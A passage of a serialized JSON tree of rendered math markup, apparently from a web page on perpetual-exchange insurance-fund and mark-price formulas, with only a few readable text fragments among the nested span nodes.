2592],{"type":23,"tag":75,"props":172593,"children":172595},{"className":172594},[15304,32857],[172596,172625],{"type":23,"tag":75,"props":172597,"children":172599},{"className":172598},[15309],[172600,172620],{"type":23,"tag":75,"props":172601,"children":172603},{"className":172602,"style":103911},[15314],[172604],{"type":23,"tag":75,"props":172605,"children":172606},{"style":103438},[172607,172611],{"type":23,"tag":75,"props":172608,"children":172610},{"className":172609,"style":15324},[15323],[],{"type":23,"tag":75,"props":172612,"children":172614},{"className":172613},[15329,15330,15331,15332],[172615],{"type":23,"tag":75,"props":172616,"children":172618},{"className":172617},[15284,32803,15332],[172619],{"type":29,"value":12935},{"type":23,"tag":75,"props":172621,"children":172623},{"className":172622},[32960],[172624],{"type":29,"value":32963},{"type":23,"tag":75,"props":172626,"children":172628},{"className":172627},[15309],[172629],{"type":23,"tag":75,"props":172630,"children":172632},{"className":172631,"style":103465},[15314],[172633],{"type":23,"tag":75,"props":172634,"children":172635},{},[],{"type":23,"tag":75,"props":172637,"children":172639},{"className":172638,"style":15364},[15363],[],{"type":23,"tag":75,"props":172641,"children":172643},{"className":172642},[15369],[172644],{"type":29,"value":7862},{"type":23,"tag":75,"props":172646,"children":172648},{"className":172647,"style":15364},[15363],[],{"type":23,"tag":75,"props":172650,"children":172652},{"className":172651},[15284],[172653,172658],{"type":23,"tag":75,"props":172654,"children":172656},{"className":172655,"style":103868},[15284,32803],[172657],{"type":29,"value":171453},{"type":23,"tag":75,"props":172659,"children":172661},{"className":172660},[15299],[172662],{"type":23,"tag":75,"props":172663,"children":172665},{"className":172664},[15304,32857],[172666,172695],{"type":23,"tag":75,"props":172667,"children":172669},{"className":172668},[15309],[172670,172690],{"type":23,"tag":75,"props":172671,"children":172673},{"className":172672,"style":103911},[15314],[172674],{"type":23,"tag":75,"props":172675,"children":172676},{"style":103915},[172677,172681],{"type":23,"tag":75,"props":172678,"children":172680},{"className":172679,"style":15324},[15323],[],{"type":23,"tag":75,"props":172682,"children":172684},{"className":172683},[15329,15330,15331,15332],[172685],{"type":23,"tag":75,"props":172686,"children":172688},{"className":172687},[15284,32803,15332],[172689],{"type":29,"value":12935},{"type":23,"tag":75,"props":172691,"children":172693},{"className":172692},[32960],[172694],{"type":29,"value":32963},{"type":23,"tag":75,"props":172696,"children":172698},{"className":172697},[15309],[172699],{"type":23,"tag":75,"props":172700,"children":172702},{"className":172701,"style":103465},[15314],[172703],{"type":23,"tag":75,"props":172704,"children":172705},{},[],{"type":23,"tag":75,"props":172707,"children":172708},{"style":171573},[172709,172713],{"type":23,"tag":75,"props":172710,"children":172712},{"className":172711,"style":171282},[15323],[],{"type":23,"tag":75,"props":172714,"children":172716},{"className":172715},[15284],[172717,172721,172725,172730,172734],{"type":23,"tag":75,"props":172718,"children":172720},{"className":172719},[15284],[],{"type":23,"tag":75,"props":172722,"children":172724},{"className":172723,"style":15461},[15363],[],{"type":23,"tag":75,"props":172726,"children":172728},{"className":172727},[15466],[172729],{"type":29,"value":212},{"type":23,"tag":75,"props":172731,"children":172733},{"className":172732,"style":15461},[15363],[],{"type":23,"tag":75,"props":172735,"children":172737},{"className":172736},[15284],[172738,172743],{"type":23,"tag":75,"props":172739,"children":172741},{"className":172740,"style":103868},[15284,32803],[172742],{"type":29,"value":171453},{"type":23,"tag":75,"props":172744,"children":172746},{"className":172745},[15299],[172747],{"type":23,"tag":75,"props":172748,"children":172750},{"className":172749},[15304,32857],[172751,172799],{"type":23,"tag":75,"props":172752,"children":172754},{"className":172753},[15309],[172755,172794],{"type":23,"tag":75,"props":172756,"children":172759},{"className":172757,"style":172758},[15314],"height:0.8213em;",[172760,172777],{"type":23,"tag":75,"props":172761,"children":172763},{"style":172762},"top:-2.433em;margin-left:-0.0359em;margin-right:0.05em;",[172764,172768],{"type":23,"tag":75,"props":172765,"children":172767},{"className":172766,"style":15324},[15323],[],{"type":23,"tag":75,"props":172769,"children":172771},{"className":172770},[15329,15330,15331,15332],[172772],{"type":23,"tag":75,"props":172773,"children":172775},{"className":172774},[15284,32803,15332],[172776],{"type":29,"value":12935},{"type":23,"tag":75,"props":172778,"children":172780},{"style":172779},"top:-3.113em;margin-right:0.05em;",[172781,172785],{"type":23,"tag":75,"props":172782,"children":172784},{"className":172783,"style":15324},[15323],[],{"type":23,"tag":75,"props":172786,"children":172788},{"className":172787},[15329,15330,15331,15332],[172789],{"type":23,"tag":75,"props":172790,"children":172792},{"className":172791},[15369,15332],[172793],{"type":29,"value":7862},{"type":23,"tag":75,"props":172795,"children":172797},{"className":172796},[32960],[172798],{"type":29,"value":32963},{"type":23,"tag":75,"props":172800,"children":172802},{"className":172801},[15309],[172803],{"type":23,"tag":75,"props":172804,"children":172807},{"className":172805,"style":172806},[15314],"height:0.267em;",[172808],{"type":23,"tag":75,"props":172809,"children":172810},{},[],{"type":23,"tag":75,"props":172812,"children":172813},{"style":171643},[172814,172818],{"type":23,"tag":75,"props":172815,"children":172817},{"className":172816,"style":171282},[15323],[],{"type":23,"tag":75,"props":172819,"children":172821},{"className":172820},[15284],[172822,172826,172830,172835,172839,172849],{"type":23,"tag":75,"props":172823,"children":172825},{"className":172824},[15284],[],{"type":23,"tag":75,"props":172827,"children":172829},{"className":172828,"style":15461},[15363],[],{"type":23,"tag":75,"props":172831,"children":172833},{"className":172832},[15466],[172834],{"type":29,"value":32822},{"type":23,"tag":75,"props":172836,"children":172838},{"className":172837,"style":15461},[15363],[],{"type":23,"tag":75,"props":172840,"children":172842},{"className":172841},[15284,29],[172843],{"type":23,"tag":75,"props":172844,"children":172846},{"className":172845},[15284],[172847],{"type":29,"value":172848},"dollars seized from winner ",{"type":23,"tag":75,"props":172850,"children":172852},{"className":172851},[15284,32803],[172853],{"type":29,"value":12935},{"type":23,"tag":75,"props":172855,"children":172856},{"style":171712},[172857,172861],{"type":23,"tag":75,"props":172858,"children":172860},{"className":172859,"style":171282},[15323],[],{"type":23,"tag":75,"props":172862,"children":172864},{"className":172863},[15284],[172865,172869,172873,172878,172882],{"type":23,"tag":75,"props":172866,"children":172868},{"className":172867},[15284],[],{"type":23,"tag":75,"props":172870,"children":172872},{"className":172871,"style":15461},[15363],[],{"type":23,"tag":75,"props":172874,"children":172876},{"className":172875},[15466],[172877],{"type":29,"value":212},{"type":23,"tag":75,"props":172879,"children":172881},{"className":172880,"style":15461},[15363],[],{"type":23,"tag":75,"props":172883,"children":172885},{"className":172884},[15284],[172886,172890,173071],{"type":23,"tag":75,"props":172887,"children":172889},{"className":172888},[32932,123900],[],{"type":23,"tag":75,"props":172891,"children":172893},{"className":172892},[123905],[172894],{"type":23,"tag":75,"props":172895,"children":172897},{"className":172896},[15304,32857],[172898,173059],{"type":23,"tag":75,"props":172899,"children":172901},{"className":172900},[15309],[172902,173054],{"type":23,"tag":75,"props":172903,"children":172906},{"className":172904,"style":172905},[15314],"height:1.1076em;",[172907,172975,172986],{"type":23,"tag":75,"props":172908,"children":172909},{"style":169491},[172910,172914],{"type":23,"tag":75,"props":172911,"children":172913},{"className":172912,"style":122553},[15323],[],{"type":23,"tag":75,"props":172915,"children":172917},{"className":172916},[15284],[172918],{"type":23,"tag":75,"props":172919,"children":172921},{"className":172920},[15284],[172922,172927],{"type":23,"tag":75,"props":172923,"children":172925},{"className":172924,"style":132662},[15284,32803],[172926],{"type":29,"value":60758},{"type":23,"tag":75,"props":172928,"children":172930},{"className":172929},[15299],[172931],{"type":23,"tag":75,"props":172932,"children":172934},{"className":172933},[15304,32857],[172935,172964],{"type":23,"tag":75,"props":172936,"children":172938},{"className":172937},[15309],[172939,172959],{"type":23,"tag":75,"props":172940,"children":172942},{"className":172941,"style":103911},[15314],[172943],{"type":23,"tag":75,"props":172944,"children":172945},{"style":171610},[172946,172950],{"type":23,"tag":75,"props":172947,"children":172949},{"className":172948,"style":15324},[15323],[],{"type":23,"tag":75,"props":172951,"children":172953},{"className":172952},[15329,15330,15331,15332],[172954],{"type":23,"tag":75,"props":172955,"children":172957},{"className":172956},[15284,32803,15332],[172958],{"type":29,"value":12935},{"type":23,"tag":75,"props":172960,"children":172962},{"className":172961},[32960],[172963],{"type":29,"value":32963},{"type":23,"tag":75,"props":172965,"children":172967},{"className":172966},[15309],[172968],{"type":23,"tag":75,"props":172969,"children":172971},{"className":172970,"style":103465},[15314],[172972],{"type":23,"tag":75,"props":172973,"children":172974},{},[],{"type":23,"tag":75,"props":172976,"children":172977},{"style":123955},[172978,172982],{"type":23,"tag":75,"props":172979,"children":172981},{"className":172980,"style":122553},[15323],[],{"type":23,"tag":75,"props":172983,"children":172985},{"className":172984,"style":123965},[123964],[],{"type":23,"tag":75,"props":172987,"children":172988},{"style":169542},[172989,172993],{"type":23,"tag":75,"props":172990,"children":172992},{"className":172991,"style":122553},[15323],[],{"type":23,"tag":75,"props":172994,"children":172996},{"className":172995},[15284],[172997],{"type":23,"tag":75,"props":172998,"children":173000},{"className":172999},[15284],[173001,173006],{"type":23,"tag":75,"props":173002,"children":173004},{"className":173003},[15284,32803],[173005],{"type":29,"value":30499},{"type":23,"tag":75,"props":173007,"children":173009},{"className":173008},[15299],[173010],{"type":23,"tag":75,"props":173011,"children":173013},{"className":173012},[15304,32857],[173014,173043],{"type":23,"tag":75,"props":173015,"children":173017},{"className":173016},[15309],[173018,173038],{"type":23,"tag":75,"props":173019,"children":173021},{"className":173020,"style":103911},[15314],[173022],{"type":23,"tag":75,"props":173023,"children":173024},{"style":103438},[173025,173029],{"type":23,"tag":75,"props":173026,"children":173028},{"className":173027,"style":15324},[15323],[],{"type":23,"tag":75,"props":173030,"children":173032},{"className":173031},[15329,15330,15331,15332],[173033],{"type":23,"tag":75,"props":173034,"children":173036},{"className":173035},[15284,32803,15332],[173037],{"type":29,"value":12935},{"type":23,"tag":75,"props":173039,"children":173041},{"className":173040},[32960],[173042],{"type":29,"value":32963},{"type":23,"tag":75,"props":173044,"children":173046},{"className":173045},[15309],[173047],{"type":23,"tag":75,"props":173048,"children":173050},{"className":173049,"style":103465},[15314],[173051],{"type":23,"tag":75,"props":173052,"children":173053},{},[],{"type":23,"tag":75,"props":173055,"children":173057},{"className":173056},[32960],[173058],{"type":29,"value":32963},{"type":23,"tag":75,"props":173060,"children":173062},{"className":173061},[15309],[173063],{"type":23,"tag":75,"props":173064,"children":173067},{"className":173065,"style":173066},[15314],"height:0.836em;",[173068],{"type":23,"tag":75,"props":173069,"children":173070},{},[],{"type":23,"tag":75,"props":173072,"children":173074},{"className":173073},[32954,123900],[],{"type":23,"tag":75,"props":173076,"children":173077},{"style":171781},[173078,173082],{"type":23,"tag":75,"props":173079,"children":173081},{"className":173080,"style":171282},[15323],[],{"type":23,"tag":75,"props":173083,"children":173085},{"className":173084},[15284],[173086,173090,173094,173099,173103,173173,173177],{"type":23,"tag":75,"props":173087,"children":173089},{"className":173088},[15284],[],{"type":23,"tag":75,"props":173091,"children":173093},{"className":173092,"style":15461},[15363],[],{"type":23,"tag":75,"props":173095,"children":173097},{"className":173096},[15466],[173098],{"type":29,"value":212},{"type":23,"tag":75,"props":173100,"children":173102},{"className":173101,"style":15461},[15363],[],{"type":23,"tag":75,"props":173104,"children":173107},{"className":173105},[32839,173106],"op-limits",[173108],{"type":23,"tag":75,"props":173109,"children":173111},{"className":173110},[15304,32857],[173112,173161],{"type":23,"tag":75,"props":173113,"children":173115},{"className":173114},[15309],[173116,173156],{"type":23,"tag":75,"props":173117,"children":173120},{"className":173118,"style":173119},[15314],"height:1.05em;",[173121,173139],{"type":23,"tag":75,"props":173122,"children":173124},{"style":173123},"top:-1.8723em;margin-left:0em;",[173125,173130],{"type":23,"tag":75,"props":173126,"children":173129},{"className":173127,"style":173128},[15323],"height:3.05em;",[],{"type":23,"tag":75,"props":173131,"children":173133},{"className":173132},[15329,15330,15331,15332],[173134],{"type":23,"tag":75,"props":173135,"children":173137},{"className":173136},[15284,32803,15332],[173138],{"type":29,"value":12935},{"type":23,"tag":75,"props":173140,"children":173142},{"style":173141},"top:-3.05em;",[173143,173147],{"type":23,"tag":75,"props":173144,"children":173146},{"className":173145,"style":173128},[15323],[],{"type":23,"tag":75,"props":173148,"children":173149},{},[173150],{"type":23,"tag":75,"props":173151,"children":173154},{"className":173152},[32839,32844,173153],"large-op",[173155],{"type":29,"value":119177},{"type":23,"tag":75,"props":173157,"children":173159},{"className":173158},[32960],[173160],{"type":29,"value":32963},{"type":23,"tag":75,"props":173162,"children":173164},{"className":173163},[15309],[173165],{"type":23,"tag":75,"props":173166,"children":173169},{"className":173167,"style":173168},[15314],"height:1.2777em;",[173170],{"type":23,"tag":75,"props":173171,"children":173172},{},[],{"type":23,"tag":75,"props":173174,"children":173176},{"className":173175,"style":15402},[15363],[],{"type":23,"tag":75,"props":173178,"children":173180},{"className":173179},[15284],[173181,173186],{"type":23,"tag":75,"props":173182,"children":173184},{"className":173183},[15284,32803],[173185],{"type":29,"value":30499},{"type":23,"tag":75,"props":173187,"children":173189},{"className":173188},[15299],[173190],{"type":23,"tag":75,"props":173191,"children":173193},{"className":173192},[15304,32857],[173194,173223],{"type":23,"tag":75,"props":173195,"children":173197},{"className":173196},[15309],[173198,173218],{"type":23,"tag":75,"props":173199,"children":173201},{"className":173200,"style":103911},[15314],[173202],{"type":23,"tag":75,"props":173203,"children":173204},{"style":103438},[173205,173209],{"type":23,"tag":75,"props":173206,"children":173208},{"className":173207,"style":15324},[15323],[],{"type":23,"tag":75,"props":173210,"children":173212},{"className":173211},[15329,15330,15331,15332],[173213],{"type":23,"tag":75,"props":173214,"children":173216},{"className":173215},[15284,32803,15332],[173217],{"type":29,"value":12935},{"type":23,"tag":75,"props":173219,"children":173221},{"className":173220},[32960],[173222],{"type":29,"value":32963},{"type":23,"tag":75,"props":173224,"children":173226},{"className":173225},[15309],[173227],{"type":23,"tag":75,"props":173228,"children":173230},{"className":173229,"style":103465},[15314],[173231],{"type":23,"tag":75,"props":173232,"children":173233},{},[],{"type":23,"tag":75,"props":173235,"children":173236},{"style":171850},[173237,173241],{"type":23,"tag":75,"props":173238,"children":173240},{"className":173239,"style":171282},[15323],[],{"type":23,"tag":75,"props":173242,"children":173244},{"className":173243},[15284],[173245,173249,173253,173258,173262,173325,173329,173334,173339,173344,173401,173406,173410,173414,173419],{"type":23,"tag":75,"props":173246,"children":173248},{"className":173247},[15284],[],{"type":23,"tag":75,"props":173250,"children":173252},{"className":173251,"style":15461},[15363],[],{"type":23,"tag":75,"props":173254,"children":173256},{"className":173255},[15466],[173257],{"type":29,"value":212},{"type":23,"tag":75,"props":173259,"children":173261},{"className":173260,"style":15461},[15363],[],{"type":23,"tag":75,"props":173263,"children":173265},{"className":173264},[32839,173106],[173266],{"type":23,"tag":75,"props":173267,"children":173269},{"className":173268},[15304,32857],[173270,173314],{"type":23,"tag":75,"props":173271,"children":173273},{"className":173272},[15309],[173274,173309],{"type":23,"tag":75,"props":173275,"children":173277},{"className":173276,"style":173119},[15314],[173278,173294],{"type":23,"tag":75,"props":173279,"children":173280},{"style":173123},[173281,173285],{"type":23,"tag":75,"props":173282,"children":173284},{"className":173283,"style":173128},[15323],[],{"type":23,"tag":75,"props":173286,"children":173288},{"className":173287},[15329,15330,15331,15332],[173289],{"type":23,"tag":75,"props":173290,"children":173292},{"className":173291},[15284,32803,15332],[173293],{"type":29,"value":12935},{"type":23,"tag":75,"props":173295,"children":173296},{"style":173141},[173297,173301],{"type":23,"tag":75,"props":173298,"children":173300},{"className":173299,"style":173128},[15323],[],{"type":23,"tag":75,"props":173302,"children":173303},{},[173304],{"type":23,"tag":75,"props":173305,"children":173307},{"className":173306},[32839,32844,173153],[173308],{"type":29,"value":119177},{"type":23,"tag":75,"props":173310,"children":173312},{"className":173311},[32960],[173313],{"type":29,"value":32963},{"type":23,"tag":75,"props":173315,"children":173317},{"className":173316},[15309],[173318],{"type":23,"tag":75,"props":173319,"children":173321},{"className":173320,"style":173168},[15314],[173322],{"type":23,"tag":75,"props":173323,"children":173324},{},[],{"type":23,"tag":75,"props":173326,"children":173328},{"className":173327,"style":15402},[15363],[],{"type":23,"tag":75,"props":173330,"children":173332},{"className":173331},[32839],[173333],{"type":29,"value":170996},{"type":23,"tag":75,"props":173335,"children":173337},{"className":173336},[32932],[173338],{"type":29,"value":643},{"type":23,"tag":75,"props":173340,"children":173342},{"className":173341},[15284],[173343],{"type":29,"value":15343},{"type":23,"tag":75,"props":173345,"children":173347},{"className":173346},[15284],[173348,173353],{"type":23,"tag":75,"props":173349,"children":173351},{"className":173350},[15284,32803],[173352],{"type":29,"value":62639},{"type":23,"tag":75,"props":173354,"children":173356},{"className":173355},[15299],[173357],{"type":23,"tag":75,"props":173358,"children":173360},{"className":173359},[15304,32857],[173361,173390],{"type":23,"tag":75,"props":173362,"children":173364},{"className":173363},[15309],[173365,173385],{"type":23,"tag":75,"props":173366,"children":173368},{"className":173367,"style":103911},[15314],[173369],{"type":23,"tag":75,"props":173370,"children":173371},{"style":103438},[173372,173376],{"type":23,"tag":75,"props":173373,"children":173375},{"className":173374,"style":15324},[15323],[],{"type":23,"tag":75,"props":173377,"children":173379},{"className":173378},[15329,15330,15331,15332],[173380],{"type":23,"tag":75,"props":173381,"children":173383},{"className":173382},[15284,32803,15332],[173384],{"type":29,"value":12935},{"type":23,"tag":75,"props":173386,"children":173388},{"className":173387},[32960],[173389],{"type":29,"value":32963},{"type":23,"tag":75,"props":173391,"children":173393},{"className":173392},[15309],[173394],{"type":23,"tag":75,"props":173395,"children":173397},{"className":173396,"style":103465},[15314],[173398],{"type":23,"tag":75,"props":173399,"children":173400},{},[],{"type":23,"tag":75,"props":173402,"children":173404},{"className":173403},[15395],[173405],{"type":29,"value":15398},{"type":23,"tag":75,"props":173407,"children":173409},{"className":173408,"style":15402},[15363],[],{"type":23,"tag":75,"props":173411,"children":173413},{"className":173412,"style":15402},[15363],[],{"type":23,"tag":75,"props":173415,"children":173417},{"className":173416},[15284],[173418],{"type":29,"value":648},{"type":23,"tag":75,"props":173420,"children":173422},{"className":173421},[32954],[173423],{"type":29,"value":1347},{"type":23,"tag":75,"props":173425,"children":173426},{"style":171920},[173427,173431],{"type":23,"tag":75,"props":173428,"children":173430},{"className":173429,"style":171282},[15323],[],{"type":23,"tag":75,"props":173432,"children":173434},{"className":173433},[15284],[173435,173439,173443,173448,173452,173515,173519],{"type":23,"tag":75,"props":173436,"children":173438},{"className":173437},[15284],[],{"type":23,"tag":75,"props":173440,"children":173442},{"className":173441,"style":15461},[15363],[],{"type":23,"tag":75,"props":173444,"children":173446},{"className":173445},[15466],[173447],{"type":29,"value":212},{"type":23,"tag":75,"props":173449,"children":173451},{"className":173450,"style":15461},[15363],[],{"type":23,"tag":75,"props":173453,"children":173455},{"className":173454},[32839,173106],[173456],{"type":23,"tag":75,"props":173457,"children":173459},{"className":173458},[15304,32857],[173460,173504],{"type":23,"tag":75,"props":173461,"children":173463},{"className":173462},[15309],[173464,173499],{"type":23,"tag":75,"props":173465,"children":173467},{"className":173466,"style":173119},[15314],[173468,173484],{"type":23,"tag":75,"props":173469,"children":173470},{"style":173123},[173471,173475],{"type":23,"tag":75,"props":173472,"children":173474},{"className":173473,"style":173128},[15323],[],{"type":23,"tag":75,"props":173476,"children":173478},{"className":173477},[15329,15330,15331,15332],[173479],{"type":23,"tag":75,"props":173480,"children":173482},{"className":173481},[15284,32803,15332],[173483],{"type":29,"value":12935},{"type":23,"tag":75,"props":173485,"children":173486},{"style":173141},[173487,173491],{"type":23,"tag":75,"props":173488,"children":173490},{"className":173489,"style":173128},[15323],[],{"type":23,"tag":75,"props":173492,"children":173493},{},[173494],{"type":23,"tag":75,"props":173495,"children":173497},{"className":173496},[32839,32844,173153],[173498],{"type":29,"value":119177},{"type":23,"tag":75,"props":173500,"children":173502},{"className":173501},[32960],[173503],{"type":29,"value":32963},{"type":23,"tag":75,"props":173505,"children":173507},{"className":173506},[15309],[173508],{"type":23,"tag":75,"props":173509,"children":173511},{"className":173510,"style":173168},[15314],[173512],{"type":23,"tag":75,"props":173513,"children":173514},{},[],{"type":23,"tag":75,"props":173516,"children":173518},{"className":173517,"style":15402},[15363],[],{"type":23,"tag":75,"props":173520,"children":173522},{"className":173521},[15284],[173523,173528],{"type":23,"tag":75,"props":173524,"children":173526},{"className":173525,"style":132662},[15284,32803],[173527],{"type":29,"value":60758},{"type":23,"tag":75,"props":173529,"children":173531},{"className":173530},[15299],[173532],{"type":23,"tag":75,"props":173533,"children":173535},{"className":173534},[15304,32857],[173536,173565],{"type":23,"tag":75,"props":173537,"children":173539},{"className":173538},[15309],[173540,173560],{"type":23,"tag":75,"props":173541,"children":173543},{"className":173542,"style":103911},[15314],[173544],{"type":23,"tag":75,"props":173545,"children":173546},{"style":171610},[173547,173551],{"type":23,"tag":75,"props":173548,"children":173550},{"className":173549,"style":15324},[15323],[],{"type":23,"tag":75,"props":173552,"children":173554},{"className":173553},[15329,15330,15331,15332],[173555],{"type":23,"tag":75,"props":173556,"children":173558},{"className":173557},[15284,32803,15332],[173559],{"type":29,"value":12935},{"type":23,"tag":75,"props":173561,"children":173563},{"className":173562},[32960],[173564],{"type":29,"value":32963},{"type":23,"tag":75,"props":173566,"children":173568},{"className":173567},[15309],[173569],{"type":23,"tag":75,"props":173570,"children":173572},{"className":173571,"style":103465},[15314],[173573],{"type":23,"tag":75,"props":173574,"children":173575},{},[],{"type":23,"tag":75,"props":173577,"children":173578},{"style":171991},[173579,173583],{"type":23,"tag":75,"props":173580,"children":173582},{"className":173581,"style":171282},[15323],[],{"type":23,"tag":75,"props":173584,"children":173586},{"className":173585},[15284],[173587,173591,173595,173600,173604,173609,173614,173671,173675,173680,173684,173689,173693,173698,173702,173759,173764,173768,173772,173777],{"type":23,"tag":75,"props":173588,"children":173590},{"className":173589},[15284],[],{"type":23,"tag":75,"props":173592,"children":173594},{"className":173593,"style":15461},[15363],[],{"type":23,"tag":75,"props":173596,"children":173598},{"className":173597},[15466],[173599],{"type":29,"value":212},{"type":23,"tag":75,"props":173601,"children":173603},{"className":173602,"style":15461},[15363],[],{"type":23,"tag":75,"props":173605,"children":173607},{"className":173606},[32839],[173608],{"type":29,"value":170996},{"type":23,"tag":75,"props":173610,"children":173612},{"className":173611},[32932],[173613],{"type":29,"value":643},{"type":23,"tag":75,"props":173615,"children":173617},{"className":173616},[15284],[173618,173623],{"type":23,"tag":75,"props":173619,"children":173621},{"className":173620,"style":103382},[15284,32803],[173622],{"type":29,"value":171869},{"type":23,"tag":75,"props":173624,"children":173626},{"className":173625},[15299],[173627],{"type":23,"tag":75,"props":173628,"children":173630},{"className":173629},[15304,32857],[173631,173660],{"type":23,"tag":75,"props":173632,"children":173634},{"className":173633},[15309],[173635,173655],{"type":23,"tag":75,"props":173636,"children":173638},{"className":173637,"style":152937},[15314],[173639],{"type":23,"tag":75,"props":173640,"children":173641},{"style":120381},[173642,173646],{"type":23,"tag":75,"props":173643,"children":173645},{"className":173644,"style":15324},[15323],[],{"type":23,"tag":75,"props":173647,"children":173649},{"className":173648},[15329,15330,15331,15332],[173650],{"type":23,"tag":75,"props":173651,"children":173653},{"className":173652,"style":32804},[15284,32803,15332],[173654],{"type":29,"value":17255},{"type":23,"tag":75,"props":173656,"children":173658},{"className":173657},[32960],[173659],{"type":29,"value":32963},{"type":23,"tag":75,"props":173661,"children":173663},{"className":173662},[15309],[173664],{"type":23,"tag":75,"props":173665,"children":173667},{"className":173666,"style":103465},[15314],[173668],{"type":23,"tag":75,"props":173669,"children":173670},{},[],{"type":23,"tag":75,"props":173672,"children":173674},{"className":173673,"style":15364},[15363],[],{"type":23,"tag":75,"props":173676,"children":173678},{"className":173677},[15369],[173679],{"type":29,"value":15343},{"type":23,"tag":75,"props":173681,"children":173683},{"className":173682,"style":15364},[15363],[],{"type":23,"tag":75,"props":173685,"children":173687},{"className":173686,"style":105402},[15284,32803],[173688],{"type":29,"value":105436},{"type":23,"tag":75,"props":173690,"children":173692},{"className":173691,"style":15364},[15363],[],{"type":23,"tag":75,"props":173694,"children":173696},{"className":173695},[15369],[173697],{"type":29,"value":15343},{"type":23,"tag":75,"props":173699,"children":173701},{"className":173700,"style":15364},[15363],[],{"type":23,"tag":75,"props":173703,"children":173705},{"className":173704},[15284],[173706,173711],{"type":23,"tag":75,"props":173707,"children":173709},{"className":173708,"style":103616},[15284,32803],[173710],{"type":29,"value":103619},{"type":23,"tag":75,"props":173712,"children":173714},{"className":173713},[15299],[173715],{"type":23,"tag":75,"props":173716,"children":173718},{"className":173717},[15304,32857],[173719,173748],{"type":23,"tag":75,"props":173720,"children":173722},{"className":173721},[15309],[173723,173743],{"type":23,"tag":75,"props":173724,"children":173726},{"className":173725,"style":152937},[15314],[173727],{"type":23,"tag":75,"props":173728,"children":173729},{"style":120811},[173730,173734],{"type":23,"tag":75,"props":173731,"children":173733},{"className":173732,"style":15324},[15323],[],{"type":23,"tag":75,"props":173735,"children":173737},{"className":173736},[15329,15330,15331,15332],[173738],{"type":23,"tag":75,"props":173739,"children":173741},{"className":173740,"style":32804},[15284,32803,15332],[173742],{"type":29,"value":17255},{"type":23,"tag":75,"props":173744,"children":173746},{"className":173745},[32960],[173747],{"type":29,"value":32963},{"type":23,"tag":75,"props":173749,"children":173751},{"className":173750},[15309],[173752],{"type":23,"tag":75,"props":173753,"children":173755},{"className":173754,"style":103465},[15314],[173756],{"type":23,"tag":75,"props":173757,"children":173758},{},[],{"type":23,"tag":75,"props":173760,"children":173762},{"className":173761},[15395],[173763],{"type":29,"value":15398},{"type":23,"tag":75,"props":173765,"children":173767},{"className":173766,"style":15402},[15363],[],{"type":23,"tag":75,"props":173769,"children":173771},{"className":173770,"style":15402},[15363],[],{"type":23,"tag":75,"props":173773,"children":173775},{"className":173774},[15284],[173776],{"type":29,"value":648},{"type":23,"tag":75,"props":173778,"children":173780},{"className":173779},[32954],[173781],{"type":29,"value":1347},{"type":23,"tag":75,"props":173783,"children":173785},{"className":173784},[32960],[173786],{"type":29,"value":32963},{"type":23,"tag":75,"props":173788,"children":173790},{"className":173789},[15309],[173791],{"type":23,"tag":75,"props":173792,"children":173794},{"className":173793,"style":172072},[15314],[173795],{"type":23,"tag":75,"props":173796,"children":173797},{},[],{"type":23,"tag":32,"props":173799,"children":173800},{},[173801,173802,173879,173881,173906,173908,173985,173987,174064],{"type":29,"value":643},{"type":23,"tag":71,"props":173803,"children":173805},{"className":173804},[15256,15257],[173806],{"type":23,"tag":75,"props":173807,"children":173809},{"className":173808},[15262],[173810],{"type":23,"tag":75,"props":173811,"children":173813},{"className":173812,"ariaHidden":15268},[15267],[173814],{"type":23,"tag":75,"props":173815,"children":173817},{"className":173816},[15273],[173818,173822],{"type":23,"tag":75,"props":173819,"children":173821},{"className":173820,"style":121379},[15278],[],{"type":23,"tag":75,"props":173823,"children":173825},{"className":173824},[15284],[173826,173831],{"type":23,"tag":75,"props":173827,"children":173829},{"className":173828,"style":32804},[15284,32803],[173830],{"type":29,"value":32807},{"type":23,"tag":75,"props":173832,"children":173834},{"className":173833},[15299],[173835],{"type":23,"tag":75,"props":173836,"children":173838},{"className":173837},[15304,32857],[173839,173868],{"type":23,"tag":75,"props":173840,"children":173842},{"className":173841},[15309],[173843,173863],{"type":23,"tag":75,"props":173844,"children":173846},{"className":173845,"style":119814},[15314],[173847],{"type":23,"tag":75,"props":173848,"children":173849},{"style":171315},[173850,173854],{"type":23,"tag":75,"props":173851,"children":173853},{"className":173852,"style":15324},[15323],[],{"type":23,"tag":75,"props":173855,"children":173857},{"className":173856},[15329,15330,15331,15332],[173858],{"type":23,"tag":75,"props":173859,"children":173861},{"className":173860},[15284,32803,15332],[173862],{"type":29,"value":67587},{"type":23,"tag":75,"props":173864,"children":173866},{"className":173865},[32960],[173867],{"type":29,"value":32963},{"type":23,"tag":75,"props":173869,"children":173871},{"className":173870},[15309],[173872],{"type":23,"tag":75,"props":173873,"children":173875},{"className":173874,"style":103465},[15314],[173876],{"type":23,"tag":75,"props":173877,"children":173878},{},[],{"type":29,"value":173880},": mark price from different sources; ",{"type":23,"tag":71,"props":173882,"children":173884},{"className":173883},[15256,15257],[173885],{"type":23,"tag":75,"props":173886,"children":173888},{"className":173887},[15262],[173889],{"type":23,"tag":75,"props":173890,"children":173892},{"className":173891,"ariaHidden":15268},[15267],[173893],{"type":23,"tag":75,"props":173894,"children":173896},{"className":173895},[15273],[173897,173901],{"type":23,"tag":75,"props":173898,"children":173900},{"className":173899,"style":32798},[15278],[],{"type":23,"tag":75,"props":173902,"children":173904},{"className":173903,"style":105402},[15284,32803],[173905],{"type":29,"value":105436},{"type":29,"value":173907},": insurance fund, roughly the 5M on testnet HL; ",{"type":23,"tag":71,"props":173909,"children":173911},{"className":173910},[15256,15257],[173912],{"type":23,"tag":75,"props":173913,"children":173915},{"className":173914},[15262],[173916],{"type":23,"tag":75,"props":173917,"children":173919},{"className":173918,"ariaHidden":15268},[15267],[173920],{"type":23,"tag":75,"props":173921,"children":173923},{"className":173922},[15273],[173924,173928],{"type":23,"tag":75,"props":173925,"children":173927},{"className":173926,"style":120352},[15278],[],{"type":23,"tag":75,"props":173929,"children":173931},{"className":173930},[15284],[173932,173937],{"type":23,"tag":75,"props":173933,"children":173935},{"className":173934,"style":103868},[15284,32803],[173936],{"type":29,"value":171453},{"type":23,"tag":75,"props":173938,"children":173940},{"className":173939},[15299],[173941],{"type":23,"tag":75,"props":173942,"children":173944},{"className":173943},[15304,32857],[173945,173974],{"type":23,"tag":75,"props":173946,"children":173948},{"className":173947},[15309],[173949,173969],{"type":23,"tag":75,"props":173950,"children":173952},{"className":173951,"style":103911},[15314],[173953],{"type":23,"tag":75,"props":173954,"children":173955},{"style":103915},[173956,173960],{"type":23,"tag":75,"props":173957,"children":173959},{"className":173958